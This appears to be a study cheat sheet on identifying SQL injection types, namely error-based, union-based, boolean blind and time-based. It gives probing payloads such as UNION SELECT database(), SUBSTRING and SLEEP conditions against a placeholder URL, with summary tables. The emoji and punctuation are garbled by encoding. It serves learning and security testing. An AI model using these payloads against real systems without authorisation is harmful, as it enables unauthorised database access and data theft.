Sql Injection Type Identification
π§ͺ 1. Error-Based SQL Injection
#Error_Based
Goal: See if the database reveals errors when you inject bad syntax or invalid queries.
π Test Payload:
?id=1'
If this triggers a database error like:
You have an error in your SQL syntax
or:
Unclosed quotation mark after the character string
π― We are dealing with an Error-Based SQLi.
π§ͺ 2. Union-Based SQL Injection
#Union_Based
Goal: Test whether you can use UNION SELECT to retrieve data.
π Step-by-step:
Step 1 β Test number of columns:
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
If increasing the number eventually gives an error, thatβs your column count.
Step 2 β Inject UNION:
?id=1 UNION SELECT 1,2,3--
Step 3 β Replace numbers with test data:
?id=1 UNION SELECT database(), null, null--
π― If the result appears on the page, itβs a Union-Based SQLi.
π§ͺ 3. Blind SQL Injection (Boolean-Based)
#Blind
Goal: No output is shown, but behavior of the page changes depending on true/false conditions.
π Test Payloads:
?id=1 AND 1=1-- β page loads normally
?id=1 AND 1=2-- β page behaves differently (blank, error, etc.)
If you can infer data from page behavior (but not from output), itβs:
π― A Blind SQL Injection.
You can start asking yes/no questions like:
?id=1 AND SUBSTRING(database(),1,1)='m'--
π 4. Time-Based Blind SQL Injection
#Time_Based
Goal: The page does not behave differently, but you can detect delays based on your query.
π Test Payloads:
For MySQL:
?id=1' AND SLEEP(5)--
For MSSQL:
?id=1'; WAITFOR DELAY '0:0:5'--
If the page takes 5+ seconds to respond, then the injection is working.
You can now ask blind/time-based questions like:
?id=1' AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
π― This is Time-Based Blind SQLi.
π§ Summary Table
| Type | Behavior / Symptom | Sample Payload |
|---|---|---|
| Error-Based | Error message on page | ' or AND 1=CAST(database() AS INT)-- |
| Union-Based | Injected data appears on page | UNION SELECT 1,2,database()-- |
| Blind | Page behavior changes with true/false conditions | AND 1=1-- vs AND 1=2-- |
| Time-Based | Response delay when condition is true | AND SLEEP(5)-- |
β YES β UNION is for seeing data.
πΉ UNION-based SQL Injection is used when:
-
You can inject
UNION SELECT. -
The page displays the output (like table rows, product names, etc.).
-
You can control or view the query result in the browser.
π‘ Goal: Use UNION SELECT to combine your data with the original query and display it.
β Errors donβt always mean UNION is possible.
πΉ Error-based SQL Injection means:
-
The database error messages are shown.
-
You can sometimes leak data through error messages.
-
But you might not be able to use
UNION SELECTif:-
The app doesnβt return query results in the response.
-
The number/type of columns canβt be matched.
-
Output is filtered or hidden.
-
π§ How They Relate:
| Observation | What It Means |
|---|---|
| π΄ Error shows up | SQL Injection might be possible (Error-based). |
| π‘ Can control output | Try UNION SELECT (Union-based SQLi). |
| β See your data on page | Youβve got Union-based SQLi. |
| β No output, just behavior | Use Blind or Time-based SQLi. |
π Example Workflow:
-
Inject
'β See error? β β Error-based possible. -
Try
UNION SELECT 1,2,3--β See output? β β UNION-based confirmed. -
No output? Try
AND 1=1--vsAND 1=2--β Different response? β Blind SQLi. -
No difference? Try
AND SLEEP(5)--β Page delayed? β Time-based SQLi.
Comments
Knowing where and how to insert ' and -- in your SQL injection payload is key to successfully testing and exploiting the vulnerability.
π§ 1. Understand the Parameter Format
Letβs say the URL or parameter looks like this:
http://example.com/mail-list?id=1
You want to inject into the SQL query that runs behind the scenes. You need to test where your input lands in the SQL statement.
π 2. Use -- to Comment Out the Rest
The -- tells the database to ignore the rest of the query (used to terminate the SQL statement cleanly).
Example:
?id=1'--
or
?id=1' AND 1=1--
Use a space after -- to ensure proper commenting:
β
--
β --
π Summary
| Action | Payload Example |
|---|---|
| Detect injection | ?id=1' |
| Comment out safely | ?id=1'-- |
| ORDER BY test | ?id=1 ORDER BY 1-- |
| Boolean test | ?id=1 AND 1=1-- vs ?id=1 AND 1=2-- |
| UNION test | ?id=1 UNION SELECT 1,2-- |